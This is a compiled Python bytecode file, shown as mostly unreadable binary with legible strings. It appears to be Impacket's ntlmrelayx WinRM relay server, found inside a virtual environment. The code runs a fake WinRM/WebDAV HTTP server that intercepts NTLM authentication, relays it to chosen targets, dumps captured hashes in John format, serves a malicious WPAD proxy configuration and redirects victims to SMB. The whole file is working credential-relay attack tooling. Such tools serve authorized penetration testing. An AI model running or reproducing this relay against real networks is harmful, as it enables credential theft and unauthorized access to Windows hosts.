o
    àý°jËm  ã                   @   s¼   d dl Zd dlZd dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZmZ d dlmZmZ d dlmZmZ d dlmZmZ d dlmZ d dlmZ d d	lmZ G d
d„ de	ƒZdS )é    N)ÚThread)ÚPY2Úb)ÚntlmÚLOG)ÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚSTATUS_ACCESS_DENIEDÚSTATUS_SUCCESS)ÚTargetsProcessor)ÚactiveConnections)Úget_addressc                   @   sF   e Zd ZG dd„ dejejƒZG dd„ dejj	ƒZ
dd„ Zdd„ Zd	S )
ÚWinRMRelayServerc                   @   s   e Zd Zdd„ ZdS )zWinRMRelayServer.HTTPServerc                 C   sL   || _ d| _t|d |d | j jƒ\| _}i | _dtj_tj 	| ||¡ d S )NTr   é   )
ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚwpad_countersÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__)ÚselfÚserver_addressÚRequestHandlerClassr   © r   ú¨/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/winrmrelayserver.pyr   &   s   z$WinRMRelayServer.HTTPServer.__init__N)Ú__name__Ú
__module__Ú__qualname__r   r   r   r   r   Ú
HTTPServer%   s    r!   c                   @   sÜ   e Zd Zdd„ Zdd„ Zdd„ Zd6dd	„Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zd7dd„Zd8d d!„Zd"d#„ Zd$d%„ Zd&d'„ Zd(d)„ Zd*d+„ Zd,d-„ Zd.d/„ Zd0d1„ Zd6d2d3„Zd4d5„ ZdS )9zWinRMRelayServer.HTTPHandlerc              
   C   sð   d| _ d| _|| _d| _d | _d | _d | _d | _d | _d | _	d | _
d| _d| _d| _d| _| jjjdkrG| jjjd u rGtd	|d  d
�| jj_ztjj | |||¡ W d S  tyw } ztjddd� t dt|ƒ ¡ W Y d }~d S d }~ww )NzMicrosoft-HTTPAPI/2.0Ú zHTTP/1.1FTr   zØfunction FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ÚREDIRECTzSMB://%s:445/)ÚsingleTargetú(WinRM): Exception:©Úexc_infoú(WinRM): %s)Úserver_versionÚsys_versionÚserverÚprotocol_versionÚchallengeMessageÚtargetÚclientÚmachineAccountÚmachineHashesÚdomainIpÚauthUserÚrelayToHostÚ
isFirstNegÚnegotiation_countÚwpadr   Úmoder   ÚhttpÚSimpleHTTPRequestHandlerr   Ú	Exceptionr   ÚdebugÚerrorÚstr)r   ÚrequestÚclient_addressr+   Úer   r   r   r   0   s2    €þz%WinRMRelayServer.HTTPHandler.__init__c              
   C   sX   z
t jj | ¡ W d S  ty   ‚  ty+ } ztjddd� W Y d }~d S d }~ww )Nr%   Tr&   )r9   r+   r:   Úhandle_one_requestÚKeyboardInterruptr;   r   r<   )r   rA   r   r   r   rB   L   s   €ÿz/WinRMRelayServer.HTTPHandler.handle_one_requestc                 G   s   d S ©Nr   )r   ÚformatÚargsr   r   r   Úlog_messageT   s   z(WinRMRelayServer.HTTPHandler.log_messageNc                 C   sF   |  d¡dks|  d¡rt d| j ¡  ¡ |  ¡ S tjj 	| ||¡S )NÚRPC_OUTr   ÚRPC_INz(WinRM): send_error path: %s)
Úfindr   ÚinfoÚpathÚlowerÚdo_GETr9   r+   r:   Ú
send_error)r   ÚcodeÚmessager   r   r   rO   W   s   z'WinRMRelayServer.HTTPHandler.send_errorc                 C   sF   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni”  úWWW-AuthenticateÚ	NegotiateúContent-typeú	text/htmlúContent-LengthÚ0Ú
ConnectionÚclose©Úsend_responseÚsend_headerÚend_headers©r   r   r   r   Úsend_not_found]   s   
z+WinRMRelayServer.HTTPHandler.send_not_foundc                 C   sP   |   dd¡ |  dd¡ |  dtt|ƒƒ¡ |  dd¡ |  ¡  | j |¡ d S )NéÏ   zMulti-StatuszContent-Typezapplication/xmlrV   rX   rY   )r[   r\   r>   Úlenr]   ÚwfileÚwrite)r   Úcontentr   r   r   Úsend_multi_statuse   s   z.WinRMRelayServer.HTTPHandler.send_multi_statusc                 C   s\   | j | jjj| jjjf }|  d¡ |  dd¡ |  dt|ƒ¡ |  ¡  | j 	t
|ƒ¡ d S )NéÈ   rT   z!application/x-ns-proxy-autoconfigrV   )r7   r+   r   Ú	wpad_hostr[   r\   ra   r]   rb   rc   r   )r   ÚwpadResponser   r   r   Ú
serve_wpadm   s   
z'WinRMRelayServer.HTTPHandler.serve_wpadc                 C   sN   z| j j| }W n ty   d}Y nw |d | j j|< || j jjkr%dS dS )Nr   r   TF)r+   r   ÚKeyErrorr   Úwpad_auth_num)r   r/   Únumr   r   r   Úshould_serve_wpadv   s   ÿz.WinRMRelayServer.HTTPHandler.should_serve_wpadc                 C   s~   t | jjjdƒ�-}| ¡ }|  dd¡ |  dd¡ |  dtt|ƒƒ¡ |  	¡  | j
 |¡ W d   ƒ d S 1 s8w   Y  d S )NÚrbrf   ÚOKrT   z
image/jpegrV   )Úopenr+   r   Úserve_imageÚreadr[   r\   r>   ra   r]   rb   rc   )r   ÚimgFileÚimgFile_datar   r   r   rq   ƒ   s   "úz(WinRMRelayServer.HTTPHandler.serve_imagec           	      C   s6  d  }}t r|r| j d¡}n| j d¡}n|r| j d¡}n| j d¡}|r+|d u s1|s@|d u r@| jd|d� d}d }||fS |rE|}n|}z#z	| d¡\}}W n tya   | d¡\}}Y nw t | 	¡ ¡}W n t
y„   tjdd	d
� | jd|d� Y ||fS w t d|tdƒtdƒd … ¡d }||fS )NzProxy-AuthorizationÚAuthorizations   NTLM©rQ   Úproxyr   ÚNTLMrS   r%   Tr&   z<LzNTLMSSP é   )r   ÚheadersÚ	getheaderÚgetÚdo_AUTHHEADÚsplitÚ
ValueErrorÚbase64Ú	b64decodeÚstripr;   r   r<   ÚstructÚunpackra   )	r   rw   ÚtokenÚmessageTypeÚproxyAuthHeaderÚautorizationHeaderÚtypeXÚ_Úblobr   r   r   Ú
strip_blobŒ   s<   ðÿû$z'WinRMRelayServer.HTTPHandler.strip_blobc                 C   s"   |   d¡ |  dd¡ |  ¡  d S )Nrf   rT   rU   rZ   r^   r   r   r   Údo_HEAD°   s   
z$WinRMRelayServer.HTTPHandler.do_HEADc                 C   s:   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  ¡  d S )Nrf   ÚAllowz[GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPYrV   rW   rX   rY   rZ   r^   r   r   r   Ú
do_OPTIONSµ   s   
ÿz'WinRMRelayServer.HTTPHandler.do_OPTIONSc                 C   sj   d}d| j v sd| j v rd}nd}|  |¡\}}| jdu r+| jjjs+|  |||¡ d S |  ||||¡ d S )NFz.jpgz.JPGso  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>sL  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>)rL   rŒ   r4   r+   r   ÚdisableMultiÚdo_local_authÚdo_relay)r   rw   rd   r…   r†   r   r   r   Údo_PROPFIND¾   s   z(WinRMRelayServer.HTTPHandler.do_PROPFINDó    Fc                 C   sn   |r|   d¡ |  d| d¡¡ n|   d¡ |  d| d¡¡ |  dd¡ |  dd	¡ |  d
d¡ |  ¡  d S )Ni—  úProxy-Authenticatezutf-8i‘  rR   rT   rU   rV   rW   rX   ú
keep-alive)r[   r\   Údecoder]   )r   rQ   rw   r   r   r   r}   Ï   s   

z(WinRMRelayServer.HTTPHandler.do_AUTHHEADc                 C   s€   d  dd„ tdƒD ƒ¡}|  d¡ |r|  dd¡ n|  dd	¡ |  d
d¡ |  dd¡ |  dd| ¡ |  dd¡ |  ¡  d S )Nr"   c                 s   s"   � | ]}t  tjtj ¡V  qd S rD   )ÚrandomÚchoiceÚstringÚascii_uppercaseÚdigits©Ú.0rŠ   r   r   r   Ú	<genexpr>Ý   s   €  z;WinRMRelayServer.HTTPHandler.do_REDIRECT.<locals>.<genexpr>é
   i3  r•   rx   rR   rS   rT   rU   rX   r–   ÚLocationz/%srV   rW   )ÚjoinÚranger[   r\   r]   )r   rw   Úrstrr   r   r   Údo_REDIRECTÜ   s   
z(WinRMRelayServer.HTTPHandler.do_REDIRECTc                 C   sP   |   d¡ |  dd¡ |  dd| jjj ¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni.  rT   rU   r¡   z	file://%srV   rW   rX   rY   )r[   r\   r+   r   Úredirecthostr]   r^   r   r   r   Údo_SMBREDIRECTé   s   
z+WinRMRelayServer.HTTPHandler.do_SMBREDIRECTc                 C   s   |   ¡ S rD   )Ú
do_GETPOSTr^   r   r   r   rN   ñ   s   z#WinRMRelayServer.HTTPHandler.do_GETc                 C   sl   | j  d¡}|dkr2t d¡ |  d¡ |  dd¡ |  dd¡ |  d	d
¡ |  dd¡ |  ¡  d S |  ¡ S )NÚWSMANIDENTIFYÚunauthenticatedz+HTTP: WS-Management request, sending 200 OKrf   rR   rS   rT   rU   rV   rW   rX   r–   )rz   r|   r   rK   r[   r\   r]   r¨   )r   Úwsmanidentifyr   r   r   Údo_POSTô   s   

z$WinRMRelayServer.HTTPHandler.do_POSTc                 C   s$   d}|   |¡\}}|  |||¡ d S ©NT)rŒ   r’   )r   rw   r…   r†   r   r   r   Ú
do_CONNECT  s   z'WinRMRelayServer.HTTPHandler.do_CONNECTc                 C   sÌ   | j dkrd| j ¡ v rt| j dd¡ƒ}| j |¡ nt 	d| j ¡  ¡ |  
¡  d S t| jƒdkrA| jd d…  ¡ dkrAd}nd	}|  |¡\}}| jd	u r]| jjjs]|  |||¡ d S |  |||¡ d S )
NÚPOSTz/wsmanrV   r   z"(WinRM): Client requested path: %sry   r9   TF)ÚcommandrL   rM   Úintrz   r|   Úrfilerr   r   rK   r_   ra   rŒ   r4   r+   r   r�   r‘   r’   )r   Úcontent_lengthrw   r…   r†   r   r   r   r¨   
  s   $z'WinRMRelayServer.HTTPHandler.do_GETPOSTc                 C   s  | j j ¡ | jjjv rk| jjj| j j ¡  | jj| j ƒ| _| j ¡ s$dS | jdkr+dS |  jd7  _| j 	|¡| _
| jjjrct | j
d ¡}|tj= | ¡ | j
d< t| ¡ ƒ| j
d< t| ¡ ƒ| j
d< | j
du rjdS nt d| j j ¡  ¡ dS | jdt | j
 ¡ ¡ |d� d	S )
NFr   ÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenz*(WinRM): Protocol Client for %s not found!ó
   Negotiate rv   T)r.   ÚschemeÚupperr+   r   ÚprotocolClientsr/   ÚinitConnectionr6   ÚsendNegotiater-   Úremove_targetr   ÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚgetDatara   r   r=   r}   r€   Ú	b64encode)r   r…   rw   Úav_pairsr   r   r   Údo_ntlm_negotiate%  s*   $



ÿz.WinRMRelayServer.HTTPHandler.do_ntlm_negotiatec                 C   s>   |d dks| j jdkr| j |¡\}}nt}|tkrdS dS )NÚ	user_namer"   z	127.0.0.1TF)r.   Úhostnamer/   ÚsendAuthr	   r
   )r   r…   ÚauthenticateMessageÚclientResponseÚ	errorCoder   r   r   Údo_ntlm_authF  s   z)WinRMRelayServer.HTTPHandler.do_ntlm_authc                 C   s\  |dkr©t  ¡ }| |¡ d}|d t j@ r|t jO }|d t j@ r'|t jO }|d t j@ r3|t jO }|d t j@ r?|t jO }|d t j@ rK|t jO }|d t j@ rW|t jO }|t j	t j
B t jB t jB O }t  ¡ }||d< d|d< d dd„ tdƒD ƒ¡|d	< t  ¡ |d
< d|d< d|d< d|d< d|d< d|d< | jdt | ¡ ¡ |d� d S |dk�r,t  ¡ }| |¡ t d| ¡ |d t j@ rÙd|d  d¡|d  d¡f  ¡ | _nd|d  d¡|d  d¡f  ¡ | _| jjjj| jd�| _| jd u �rt d| j| jd f ¡ |   ¡  d S t d| j| jd | jj!| jj"f ¡ d| _#|  $¡  d S d S )Nr   r   Úflagsr"   Údomain_namec                 s   s   � | ]	}t  tj¡V  qd S rD   )r˜   r™   rš   Ú	printabler�   r   r   r   rŸ   l  s   € z=WinRMRelayServer.HTTPHandler.do_local_auth.<locals>.<genexpr>é@   Ú	challenger´   rµ   r¶   é8   ÚTargetInfoFields_offsets   ÿÿÿÿÿÿÿÿÚVersioné   Ú
VersionLenr·   rv   é   r(   ú%s/%súutf-16lerÄ   Úascii©ÚidentityúN(WinRM): Connection from %s@%s controlled, but there are no more targets left!úC(WinRM): Connection from %s@%s controlled, attacking target %s://%sT)%r   ÚNTLMAuthNegotiateÚ
fromStringÚNTLMSSP_NEGOTIATE_56ÚNTLMSSP_NEGOTIATE_128ÚNTLMSSP_NEGOTIATE_KEY_EXCHÚ*NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYÚNTLMSSP_NEGOTIATE_UNICODEÚNTLM_NEGOTIATE_OEMÚNTLMSSP_NEGOTIATE_VERSIONÚNTLMSSP_NEGOTIATE_TARGET_INFOÚNTLMSSP_TARGET_TYPE_SERVERÚNTLMSSP_NEGOTIATE_NTLMÚNTLMAuthChallenger¢   r£   r¾   r}   r€   rÁ   rÀ   ÚNTLMAuthChallengeResponser   rK   r—   r¹   r3   r+   r   r.   Ú	getTargetr@   r_   r¸   Únetlocr4   r¥   )r   r†   r…   rw   ÚnegotiateMessageÚansFlagsr-   rÇ   r   r   r   r‘   S  sr   






ÿÿ

ÿÿÿÿ&ìz*WinRMRelayServer.HTTPHandler.do_local_authc                 C   sd  |dkr£| j jjr9| j jjjdd�| _| jd u r(t d| jd  ¡ |  ¡  d S t d| jd | jj	| jj
f ¡ | j||d�s¡| j jjrXt d| jj	| jj
f ¡ |  ¡  d S t d	| jj	| jj
f ¡ | j jjj| jd
�| _| jd u rˆt d| j| jd f ¡ |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S d S |dk�r0t ¡ }| |¡ | j jjrô|d tj@ rÑd|d  d¡|d  d¡f  ¡ | _nd|d  d¡|d  d¡f  ¡ | _d| jj	| j dd¡| jj
f }|  ||¡�sct d| jj	| jj
| jf ¡ | j jj�r|  ¡  d S |d dk�rZ| j jjj| jd
�| _| jd u �rAt d| j| jd f ¡ |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S | jd|d� d S | j ¡  t d| j| jd | jj	| jj
| jjf ¡ t| jd |d |d |d |d ƒ}|| jjd< | j jjd u�r¬t|d |d  | j jjƒ | j jj d!u �r½t d"|d  ¡ |  !¡  | j jj�rÚ| j"d#k�rÔ|  #|¡ d S |  ¡  d S | j jjj| jd
�| _| jd u �rt d| j| jd f ¡ | j"d#k�r|  #|¡ d S | j jj$�r|  $¡  d S |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S d S )$Nr   F)Ú
multiRelayzK(WinRM): Connection from %s controlled, but there are no more targets left!r   z@(WinRM): Connection from %s controlled, attacking target %s://%s)rw   z-(WinRM): Negotiating NTLM with %s://%s failedzF(WinRM): Negotiating NTLM with %s://%s failed. Skipping to next targetrÙ   rÛ   rÜ   rÕ   rË   rÖ   rÌ   r×   rÄ   rØ   z
%s://%s@%sú/ú\z4(WinRM): Authenticating against %s://%s as %s FAILEDr"   s	   NegotiatezJ(WinRM): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]rÏ   Úlanmanr   ÚJOHN_OUTPUTÚhash_stringÚhash_versionTr(   ÚPROPFIND)%r+   r   r�   r.   rë   r   rK   r@   r_   r¸   rì   rÃ   r=   r3   r¥   r   rê   rÞ   rã   r—   r¹   ÚreplacerÊ   r}   r/   ÚsetClientIdÚ	client_idr   r-   ÚsessionDataÚ
outputFiler   Ú
dumpHashesÚ	do_attackr°   re   rq   )r   r†   r…   rw   rd   rÇ   r.   Úntlm_hash_datar   r   r   r’   �  s²   

"

&î


ÿÿÿÿ ÿ&
,
ýÿ
ÿ
&ªz%WinRMRelayServer.HTTPHandler.do_relayc                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz$(WinRM): No attack configured for %s)r+   r   ÚrunSocksr.   r¸   r¹   ÚsocksServerÚsupportedSchemesr   ÚputrÅ   r/   Ú
targetPortr3   rú   ÚattacksÚsessionÚstartr   r=   )r   ÚclientThreadr   r   r   rý     s   "ÿ ÿz&WinRMRelayServer.HTTPHandler.do_attackrD   )r”   F)F)r   r   r    r   rB   rG   rO   r_   re   ri   rm   rq   rŒ   r�   r�   r“   r}   r¥   r§   rN   r¬   r®   r¨   rÃ   rÊ   r‘   r’   rý   r   r   r   r   ÚHTTPHandler/   s4    
		$	

	!
:wr  c                 C   s&   t  | ¡ d| _|| _d | _d | _d S r­   )r   r   Údaemonr   r+   Úhttpport)r   r   r   r   r   r     s
   

zWinRMRelayServer.__init__c                 C   s|   | j jsd| j _t d| j j ¡ |  | j j| j jf| j| j ¡| _z| j ¡  W n	 t	y1   Y nw t d¡ | j 
¡  d S )Nia  z)Setting up WinRM (HTTP) Server on port %sz!Shutting down WinRM (HTTP) Server)r   ÚlisteningPortr   rK   r!   ÚinterfaceIpr  r+   Úserve_foreverrC   Úserver_closer^   r   r   r   Úrun  s    ÿ
zWinRMRelayServer.runN)r   r   r    r   ÚThreadingMixInr   r!   r9   r+   r:   r  r   r  r   r   r   r   r   #   s    
   ir   )Úhttp.serverr9   r   Úsocketr€   r˜   rƒ   rš   Ú	threadingr   Úsixr   r   Úimpacketr   r   Úimpacket.smbserverr   r   Úimpacket.nt_errorsr	   r
   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Úimpacket.examples.utilsr   r   r   r   r   r   Ú<module>   s    